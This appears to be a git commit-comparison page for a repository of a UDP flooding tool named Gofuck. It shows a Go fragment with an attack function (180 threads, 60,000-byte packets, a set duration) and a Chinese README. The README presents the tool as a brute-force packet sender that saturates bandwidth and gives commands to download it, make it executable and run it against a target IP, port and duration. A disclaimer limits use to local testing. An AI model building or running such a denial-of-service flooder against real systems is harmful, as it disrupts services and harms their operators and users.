Compare commits

...

4 Commits

Author SHA1 Message Date
RandyColin
3b6a447c4b
Update Gofuck.go 2024-01-17 22:26:38 +08:00
RandyColin
5968e758ec
Update README.md 2024-01-17 22:23:45 +08:00
RandyColin
d2ee6e803b
Update README.md 2024-01-15 22:26:15 +08:00
RandyColin
3ee554dbaa
Update README.md 2024-01-15 22:25:37 +08:00
2 changed files with 14 additions and 8 deletions

View File

@ -7,9 +7,10 @@ import (
"strconv" "strconv"
"time" "time"
) )
// 定义线程数,可自定义
const THREADS = 180 const THREADS = 180
func attack(ip string, port int, duration int) { func attack(ip string, port int, duration int) {
// 定义包字节,可自定义
bytes := make([]byte, 60000) bytes := make([]byte, 60000)
startTime := time.Now() startTime := time.Now()
endTime := startTime.Add(time.Duration(duration) * time.Second) endTime := startTime.Add(time.Duration(duration) * time.Second)

View File

@ -1,9 +1,14 @@
用户在使用本工具前请先查看授权及免责声明Gofuck仅仅是一个用于服务器性能的工具用作其他用途后果自负。 ### Gofuck声明
Gofuck 使用文档:
使用前使用 chmod +x Gofuck 赋予执行权限。
使用参数: - Gofuck是一个简单暴力的UDP发包程序能快速利用全部带宽。
- 禁止将Gofuck用于违法活动代码仅用于本地测试参考如违规使用责任自负。
### 使用方法:
```shell ```shell
./Gofuck <IP地址> <端口> <攻击持续时间> // 下载程序
wget https://github.com/randycolin/DDOS-UDP/releases/download/v.1.0.0/Gofuck
// 赋予执行权限
chmod +x Gofuck
// 输入相应参数开始执行例如:./Gofuck 127.0.0.1 80 120
./Gofuck <IP地址> <端口> <攻击持续时间>
``` ```